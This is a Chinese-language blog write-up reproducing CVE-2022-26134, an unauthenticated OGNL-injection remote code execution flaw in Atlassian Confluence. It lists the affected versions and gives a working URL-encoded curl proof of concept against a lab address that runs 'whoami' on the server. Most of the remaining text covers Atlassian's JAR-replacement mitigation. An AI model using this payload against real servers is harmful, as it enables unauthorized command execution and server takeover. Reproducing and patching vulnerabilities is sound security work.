Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)漏洞复现
免责声明:
本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。
Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)漏洞复现
漏洞概述:
CVE-2022-26134的漏洞是一个严重的未经身份验证的远程代码执行漏洞,通过 OGNL 注入利用并影响 1.3.0 版之后的所有 Atlassian Confluence 和 Data Center 2016 服务器。成功利用允许未经身份验证的远程攻击者创建新的管理员帐户、执行命令并最终接管服务器。
影响版本:
-
1.3.0 <= Confluence Server and Data Center < 7.4.17
-
7.13.0 <= Confluence Server and Data Center < 7.13.7
-
7.14.0 <= Confluence Server and Data Center < 7.14.3
-
7.15.0 <= Confluence Server and Data Center < 7.15.2
-
7.16.0 <= Confluence Server and Data Center < 7.16.4
-
7.17.0 <= Confluence Server and Data Center < 7.17.4
-
7.18.0 <= Confluence Server and Data Center < 7.18.1
漏洞复现:
利用POC:
该命令是执行whoami并将其存储在 X-Cmd-Response HTTP标头中。
curl -v http://10.10.1.105:8090/%24%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Cmd-Response%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20d%3D%27%27%3Bvar%20i%20%3D%20java.lang.Runtime.getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%3B%20while%28i.available%28%29%29d%2B%3DString.fromCharCode%28i.read%28%29%29%3Bd%22%29%29%7D/
利用过程:
修复建议:
对于 Confluence 7.15.0 - 7.18.0
如果你在集群中运行 Confluence,你需要在每个节点上重复这个过程。您无需关闭整个集群即可应用此缓解措施。
-
Shut down Confluence.
-
将以下 1 个文件下载到 Confluence 服务器:
xwork-1.0.3-atlassian-10.jar -
删除(或将以下JAR移出Confluence 安装目录):
<confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar
-
将下载的xwork-1.0.3-atlassian-10.jar复制到
<confluence-install>/confluence/WEB-INF/lib/
-
检查新xwork-1.0.3-atlassian-10.jar文件的权限和所有权是否与同一目录中的现有文件匹配。
-
Start Confluence.
对于 Confluence 7.0.0 - Confluence 7.14.2
- Shut down Confluence.
- 将以下 3 个文件下载到 Confluence 服务器:
xwork-1.0.3-atlassian-10.jar
webwork-2.1.5-atlassian-4.jar
CachedConfigurationProvider.class - 删除(或将以下 JAR 移到 Confluence 安装目录之外):
<confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3.6.jar
<confluence-install>/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar
❗不要在目录中留下旧 JAR 的副本。 - 将下载的xwork-1.0.3-atlassian-10.jar复制到/confluence/WEB-INF/lib/
- 将下载的webwork-2.1.5-atlassian-4.jar复制到/confluence/WEB-INF/lib/
- 检查两个新文件的权限和所有权是否与同一目录中的现有文件匹配。
- 切换到目录/confluence/WEB-INF/classes/com/atlassian/confluence/setup
1.创建一个名为的新目录webwork
2.将CachedConfigurationProvider.class复制到/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork
3.确保权限和所有权正确:
<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork
<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork/CachedConfigurationProvider.class
- Start Confluence.
参考
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
https://mp.weixin.qq.com/s/tCvvvGUO4XfV8TnOrPkTcg
https://gist.github.com/jbaines-r7/a95ab29995eba3306169e755d8b3e92c
本文来自博客园,作者:知冰,转载请注明原文链接:https://www.cnblogs.com/zhibing/p/16893826.html